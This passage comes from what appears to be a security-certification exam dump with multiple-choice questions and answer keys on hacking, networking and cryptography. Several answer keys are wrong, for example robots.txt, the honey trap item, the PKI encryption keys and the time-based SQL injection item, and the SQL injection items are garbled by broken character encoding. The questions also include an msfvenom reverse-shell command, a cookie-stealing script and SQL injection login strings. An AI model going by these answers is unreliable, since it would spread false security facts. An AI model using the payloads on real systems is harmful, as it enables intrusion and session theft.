- D. The document can be sent to the accountant using an exclusive USB for that document

Correct Answer: A

What is the purpose of a demilitarized zone on a network?

- A. To scan all traffic coming through the DMZ to the internal network
- B. To only provide direct access to the nodes within the DMZ and protect the network behind it
- C. To provide a place to put the honeypot
- D. To contain the network devices you wish to protect

Correct Answer: B

Which of the following Linux commands will resolve a domain name into IP address?

- A. >host-t a hackeddomain.com
- B. >host-t ns hackeddomain.com
- C. >host -t soa hackeddomain.com
- D. >host -t AXFR hackeddomain.com

Correct Answer: A

Shellshock allowed an unauthorized user to gain access to a server. It affected many Internet-facing services, which OS did it not directly affect?

- A. Linux
- B. Unix
- C. OS X
- D. Windows

Correct Answer: D

Which regulation defines security and privacy controls for Federal information systems and organizations?

- A. HIPAA
- B. EU Safe Harbor
- C. PCI-DSS
- D. NIST-800-53

Correct Answer: D

What is a “Collision attack” in cryptography?

- A. Collision attacks try to get the public key
- B. Collision attacks try to break the hash into three parts to get the plaintext value
- C. Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key
- D. Collision attacks try to find two inputs producing the same hash

Correct Answer: D

Which of the following tools can be used for passive OS fingerprinting?

- A. nmap
- B. tcpdump
- C. tracert
- D. ping

Correct Answer: *B*

Which of the following describes the characteristics of a Boot Sector Virus?

- A. Modifies directory table entries so that directory entries point to the virus code instead of the actual program.
- B. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR.
- C. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR.
- D. Overwrites the original MBR and only executes the new virus code.

Correct Answer: *C*

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

- A. Use the built-in Windows Update tool
- B. Use a scan tool like Nessus
- C. Check MITRE.org for the latest list of CVE findings
- D. Create a disk image of a clean Windows installation

Correct Answer: *B*

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

- A. nessus
- B. tcpdump
- C. ethereal
- D. jack the ripper

Correct Answer: *B*

DHCP snooping is a great solution to prevent rogue DHCP servers on your network. Which security feature on switchers leverages the DHCP snooping database to help prevent man-in-the-middle attacks?

- A. Spanning tree
- B. Dynamic ARP Inspection (DAI)
- C. Port security
- D. Layer 2 Attack Prevention Protocol (LAPP)

Correct Answer: B

Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students.

He identified this when the IDS alerted for malware activities in the network.

What should Bob do to avoid this problem?

- A. Disable unused ports in the switches
- B. Separate students in a different VLAN
- C. Use the 802.1x protocol
- D. Ask students to use the wireless network

Correct Answer: C

A company's policy requires employees to perform file transfers using protocols which encrypt traffic. You suspect some employees are still performing file transfers using unencrypted protocols because the employees do not like changes. You have positioned a network sniffer to capture traffic from the laptops used by employees in the data ingest department. Using Wireshark to examine the captured traffic, which command can be used as a display filter to find unencrypted file transfers?

- A. tcp.port == 21
- B. tcp.port = 23
- C. tcp.port == 21 || tcp.port == 22
- D. tcp.port != 21

Correct Answer: A

You just set up a security system in your network. In what kind of system would you find the following string of characters used as a rule within its configuration? alert tcp any any -> 192.168.100.0/24 21 (msg: ¤FTP on the network!¤;)

- A. A firewall IPTable
- B. FTP Server rule
- C. A Router IPTable
- D. An Intrusion Detection System

Correct Answer: *D*

Which of the following program infects the system boot sector and the executable files at the same time?

- A. Polymorphic virus
- B. Stealth virus
- C. Multipartite Virus
- D. Macro virus

Correct Answer: *C*

To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in an attempt to crash the program.

What term is commonly used when referring to this type of testing?

- A. Randomizing
- B. Bounding
- C. Mutating
- D. Fuzzing

Correct Answer: *D*

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

- A. Protocol analyzer
- B. Network sniffer
- C. Intrusion Prevention System (IPS)
- D. Vulnerability scanner

Correct Answer: A

The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the Transport Layer Security (TLS) protocols defined in RFC6520. What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?

- A. Public
- B. Private
- C. Shared
- D. Root

Correct Answer: B

Why should the security analyst disable/remove unnecessary ISAPI filters?

- A. To defend against social engineering attacks
- B. To defend against webserver attacks
- C. To defend against jailbreaking
- D. To defend against wireless attacks

Correct Answer: B

Which of the following is a component of a risk assessment?

- A. Administrative safeguards
- B. Physical security
- C. DMZ
- D. Logical interface

Correct Answer: A

CompanyXYZ has asked you to assess the security of their perimeter email gateway. From your office in New York, you craft a specially formatted email message and send it across the Internet to an employee of CompanyXYZ. The employee of CompanyXYZ is aware of your test. Your email message looks like this:

From: jim_miller@companyxyz.com -
To: michelle_saunders@companyxyz.com

Subject: Test message -

Date: 4/3/2017 14:37 -

The employee of CompanyXYZ receives your email message.

This proves that CompanyXYZ's email gateway doesn't prevent what?

- A. Email Masquerading
- B. Email Harvesting
- C. Email Phishing
- D. Email Spoofing

Correct Answer: D

Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers/ports, which can have direct internet access, and block the access to workstations.

Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.

In this context, what can you say?

- A. Bob can be right since DMZ does not make sense when combined with stateless firewalls
- B. Bob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one
- C. Bob is totally wrong. DMZ is always relevant when the company has internet servers and workstations
- D. Bob is partially right. DMZ does not make sense when a stateless firewall is available

Correct Answer: C

Which of the following commands checks for valid users on an SMTP server?

- A. RCPT
- B. CHK
- C. VRFY
- D. EXPN

Correct Answer: C

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.

Which of the following tools is used by Wilson in the above scenario?

- A. Factiva
- B. ZoomInfo
- C. Netcraft
- D. Infoga

Correct Answer: D

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it.

Which of the following tools did Bob employ to gather the above information?

- A. FCC ID search
- B. Google image search
- C. search.com
- D. EarthExplorer

Correct Answer: A

A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine.

Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain?

- A. [allinurl:]
- B. [location:]
- C. [site:]
- D. [link:]

Correct Answer: C

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks.

What is the component of the Docker architecture used by Annie in the above scenario?

- A. Docker objects
- B. Docker daemon
- C. Docker client
- D. Docker registries

Correct Answer: B

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.

Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Weaponization
- C. Command and control
- D. Exploitation

Correct Answer: D

Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0.

What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

- A. Critical
- B. Medium
- C. High
- D. Low

Correct Answer: B

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using

PGP. What should John do to communicate correctly using this type of encryption?

- A. Use his own private key to encrypt the message.
- B. Use his own public key to encrypt the message.
- C. Use Marie's private key to encrypt the message.
- D. Use Marie's public key to encrypt the message.

Correct Answer: D

The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

- A. Trojan
- B. Spyware
- C. Virus
- D. Adware

Correct Answer: D

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.

Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

- A. In-band SQLi
- B. Union-based SQLi
- C. Out-of-band SQLi
- D. Time-based blind SQLi

Correct Answer: C

Which type of virus can change its own code and then cipher itself multiple times as it replicates?

- A. Stealth virus
- B. Tunneling virus
- C. Cavity virus
- D. Encryption virus

Correct Answer: A

What is the port to block first in case you are suspicious that an IoT device has been compromised?

- A. 22
- B. 48101
- C. 80
- D. 443

Correct Answer: B

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

- A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Correct Answer: C

Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.

Which of the following attacks can be performed by exploiting the above vulnerability?

- A. Padding oracle attack
- B. DROWN attack
- C. DUHK attack
- D. Side-channel attack

Correct Answer: *B*

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered.

John decided to perform a TCP SYN ping scan on the target network.

Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

- A. `nmap -sn -PO < target IP address >`
- B. `nmap -sn -PS < target IP address >`
- C. `nmap -sn -PA < target IP address >`
- D. `nmap -sn -PP < target IP address >`

Correct Answer: *B*

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her

MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.

Which of the following cloud attacks did Alice perform in the above scenario?

- A. Cloud cryptojacking
- B. Man-in-the-cloud (MITC) attack
- C. Cloud hopper attack
- D. Cloudborne attack

Correct Answer: *C*

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization.

What is the tool employed by John to gather information from the LDAP service?

- A. ike-scan
- B. Zabasearch
- C. JXplorer
- D. EarthExplorer

Correct Answer: C

Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network.

What type of footprinting technique is employed by Richard?

- A. VoIP footprinting
- B. Email footprinting
- C. Whois footprinting
- D. VPN footprinting

Correct Answer: C

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.

What is the social engineering technique Steve employed in the above scenario?

- A. Diversion theft
- B. Quid pro quo
- C. Elicitation
- D. Phishing

Correct Answer: C

In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it.

How do you accomplish this?

- A. Delete the wireless network
- B. Lock all users
- C. Disable SSID broadcasting
- D. Remove all passwords

Correct Answer: C

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

- A. Wardriving
- B. Wireless sniffing
- C. Evil twin
- D. Piggybacking

Correct Answer: C

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines.

The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.

Which technique is discussed here?

- A. Subnet scanning technique
- B. Permutation scanning technique
- C. Hit-list scanning technique.
- D. Topological scanning technique

Correct Answer: C

Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced.

Which of the following techniques is described in the above scenario?

- A. Website footprinting
- B. Dark web footprinting
- C. VPN footprinting
- D. VoIP footprinting

Correct Answer: C

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.

What is the type of vulnerability assessment solution that James employed in the above scenario?

- A. Service-based solutions
- B. Product-based solutions
- C. Tree-based assessment
- D. Inference-based assessment

Correct Answer: D

Dorian is sending a digitally signed email to Poly. With which key is Dorian signing this message and how is Poly validating it?

- A. Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.
- B. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
- C. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
- D. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Correct Answer: C

At what stage of the cyber kill chain theory model does data exfiltration occur?

- A. Weaponization
- B. Actions on objectives
- C. Command and control
- D. Installation

Correct Answer: *B*

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

- A. IaaS
- B. SaaS
- C. PaaS
- D. CaaS

Correct Answer: *B*

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password?

- A. .xsession-log
- B. .profile
- C. .bashrc
- D. .bash_history

Correct Answer: *D*

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

- A. Scanning
- B. Gaining access
- C. Maintaining access
- D. Reconnaissance

Correct Answer: B

John is investigating web-application firewall logs and observes that someone is attempting to inject the following: `char buff[10]; buff[10] = "\x00";`

What type of attack is this?

- A. SQL injection
- B. Buffer overflow
- C. CSRF
- D. XSS

Correct Answer: B

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During analysis, he found that these issues are not true vulnerabilities.

What will you call these issues?

- A. False positives
- B. True negatives
- C. True positives
- D. False negatives

Correct Answer: A

Which file is a rich target to discover the structure of a website during web-server footprinting?

- A. domain.txt
- B. Robots.txt
- C. Document root
- D. index.html

Correct Answer: A

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

- A. White-hat hacking program
- B. Bug bounty program
- C. Ethical hacking program
- D. Vulnerability hunting program

Correct Answer: B

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.

What is this cloud deployment option called?

- A. Private
- B. Community
- C. Public
- D. Hybrid

Correct Answer: B

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.

Which of the following host discovery techniques must he use to perform the given task?

- A. UDP scan
- B. ARP ping scan
- C. ACK flag probe scan
- D. TCP Maimon scan

Correct Answer: B

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.

Which of the following tools must the organization employ to protect its critical infrastructure?

- A. Robotium
- B. BalenaCloud
- C. Flowmon
- D. IntentFuzzer

Correct Answer: B

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins.

What is the type of attack technique Ralph used on Jane?

- A. Impersonation
- B. Dumpster diving
- C. Shoulder surfing
- D. Eavesdropping

Correct Answer: A

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.

Which of the following protocols is used by Bella?

- A. FTPS
- B. FTP
- C. HTTPS
- D. IP

Correct Answer: A

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.

What type of malware did the attacker use to bypass the company's application whitelisting?

- A. File-less malware
- B. Zero-day malware
- C. Phishing malware
- D. Logic bomb malware

Correct Answer: A

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters.

The company's IDS cannot recognize the packets, but the target web server can decode them.

What is the technique used by Kevin to evade the IDS system?

- A. Session splicing
- B. Urgency flag
- C. Obfuscating
- D. Desynchronization

Correct Answer: C

To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

- A. Hypervisor rootkit
- B. Kernel rootkit
- C. Hardware rootkit
- D. Firmware rootkit

Correct Answer: *B*

Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

- A. Botnet
- B. Intrusion detection system
- C. Firewall
- D. Honeypot

Correct Answer: *D*

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

- A. `nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >`
- B. `nmap -Pn -sU -p 44818 --script enip-info < Target IP >`
- C. `nmap -Pn -sT -p 46824 < Target IP >`
- D. `nmap -Pn -sT -p 102 --script s7-info < Target IP >`

Correct Answer: *B*

In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

- A. IDEA
- B. Triple Data Encryption Standard
- C. AES
- D. MD5 encryption algorithm

Correct Answer: *B*

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.

What is the port scanning technique used by Sam to discover open ports?

- A. Xmas scan
- B. IDLE/IPID header scan
- C. TCP Maimon scan
- D. ACK flag probe scan

Correct Answer: *D*

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market.

To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network.

He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.

What is the tool employed by Gerard in the above scenario?

- A. Towelroot
- B. Knative
- C. zANTI
- D. Bluto

Correct Answer: *D*

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.

Which of the following attacks is performed by Clark in the above scenario?

- A. Man-in-the-disk attack
- B. iOS jailbreaking
- C. iOS trustjacking
- D. Exploiting SS7 vulnerability

Correct Answer: C

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.

What is the technique employed by John to bypass the firewall?

- A. DNSSEC zone walking
- B. DNS cache snooping
- C. DNS enumeration
- D. DNS tunneling method

Correct Answer: D

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.

Which of the following tiers of the container technology architecture is Abel currently working in?

- A. Tier-1: Developer machines
- B. Tier-2: Testing and accreditation systems
- C. Tier-3: Registries
- D. Tier-4: Orchestrators

Correct Answer: B

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.

Which of the following tools did Taylor employ in the above scenario?

- A. Webroot
- B. Web-Stat
- C. WebSite-Watcher
- D. WAFW00F

Correct Answer: B

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.

What is the type of vulnerability assessment performed by Johnson in the above scenario?

- A. Wireless network assessment
- B. Application assessment
- C. Host-based assessment
- D. Distributed assessment

Correct Answer: A

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.

What is the best Linux pipe to achieve your milestone?

- A. `wget https://site.com | grep <a href=\http | grep site.com`
- B. `curl -s https://site.com | grep <a href=\http | grep site.com | cut -d \f 2`
- C. `dirb https://site.com | grep site`
- D. `wget https://site.com | cut -d \http`

Correct Answer: A

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.

In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A. Cloud consumer
- B. Cloud broker
- C. Cloud auditor
- D. Cloud carrier

Correct Answer: *D*

A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

- A. Secure development lifecycle
- B. Security awareness training
- C. Vendor risk management
- D. Patch management

Correct Answer: *D*

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app.

What is the attack performed on Don in the above scenario?

- A. SIM card attack
- B. Clickjacking
- C. SMS phishing attack
- D. Agent Smith attack

Correct Answer: *D*

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

- A. HMAC encryption algorithm
- B. Twofish encryption algorithm
- C. IDEA
- D. Blowfish encryption algorithm

Correct Answer: B

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for?

- A. Out of band and boolean-based
- B. Union-based and error-based
- C. Time-based and union-based
- D. Time-based and boolean-based

Correct Answer: B

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write(unescape("<img.src=unescape('https://localhost/submitcookie.php? cookie ="+escape(document.cookie) +unescape(' />');
</script>
```

What issue occurred for the users who clicked on the image?

- A. This php file silently executes the code and grabs the user's session cookie and session ID.
- B. The code redirects the user to another site.
- C. The code injects a new cookie to the browser.
- D. The code is a virus that is attempting to gather the user's username and password.

Correct Answer: A

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/ password form, you enter the following credentials:

Username: attack€™ or 1=1 €"

Password: 123456 -

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

- A. select * from Users where UserName = €~attack€™€€™ or 1=1 -- and UserPassword = €123456~€€™
- B. select * from Users where UserName = €~attack€™ or 1=1 -- and UserPassword = €123456~€€™
- C. select * from Users where UserName = €~attack or 1=1 -- and UserPassword = €123456~€€™
- D. select * from Users where UserName = €~attack€™ or 1=1 --€™ and UserPassword = €123456~€€™

Correct Answer: A

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.

What tests would you perform to determine whether his computer is infected?

- A. Upload the file to VirusTotal.
- B. You do not check; rather, you immediately restore a previous snapshot of the operating system.
- C. Use ExifTool and check for malicious content.
- D. Use netstat and check for outgoing connections to strange IP addresses or domains.

Correct Answer: A

An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim€™s data. What type of attack is this?

- A. Vishing
- B. Phishing
- C. DDoS
- D. Spoofing

Correct Answer: B

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete. Which attack is being described here?

- A. Desynchronization
- B. Slowloris attack
- C. Session splicing
- D. Phlashing

Correct Answer: B

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique.

Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.

What is the attack performed by Boney in the above scenario?

- A. Forbidden attack
- B. CRIME attack
- C. Session donation attack
- D. Session fixation attack

Correct Answer: D

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.

What is the type of web-service API mentioned in the above scenario?

- A. RESTful API
- B. JSON-RPC
- C. SOAP API
- D. REST API

Correct Answer: A

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as `␣€␣™` or `␣™€␣1~€␣=™€␣1~€␣` in any basic injection statement such as `␣€or 1=1.␣€`. Identify the evasion technique used by Daniel in the above scenario.

- A. Char encoding
- B. IP fragmentation
- C. Variation
- D. Null byte

Correct Answer: C

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information. What is the attack technique employed by Jane in the above scenario?

- A. Session hijacking
- B. Website mirroring
- C. Website defacement
- D. Web cache poisoning

Correct Answer: B

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company. What is the social engineering technique Steve employed in the above scenario?

- A. Baiting
- B. Piggybacking
- C. Diversion theft
- D. Honey trap

Correct Answer: A

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

- A. Bryan's public key; Bryan's public key
- B. Alice's public key; Alice's public key
- C. Bryan's private key; Alice's public key
- D. Bryan's public key; Alice's public key

Correct Answer: B

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob. What is the type of attack performed by Samuel in the above scenario?

- A. TCP/IP hijacking
- B. Blind hijacking
- C. UDP hijacking
- D. Forbidden attack

Correct Answer: A

If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST, what do you know about the firewall you are scanning?

- A. It is a non-stateful firewall.
- B. There is no firewall in place.
- C. It is a stateful firewall.
- D. This event does not tell you anything about the firewall.

Correct Answer: D

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.

What is the APT lifecycle phase that Harry is currently executing?

- A. Initial intrusion
- B. Persistence
- C. Cleanup
- D. Preparation

Correct Answer: A

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

- A. 4.0-6.0
- B. 3.9-6.9
- C. 3.0-6.9
- D. 4.0-6.9

Correct Answer: D

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.

What most likely happened?

- A. Matt inadvertently provided the answers to his security questions when responding to the post.
- B. Matt inadvertently provided his password when responding to the post.
- C. Matt's computer was infected with a keylogger.
- D. Matt's bank-account login information was brute forced.

Correct Answer: A

Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls.

On which of the following ports should Robin run the NSTX tool?

- A. Port 50
- B. Port 23
- C. Port 53
- D. Port 80

Correct Answer: C

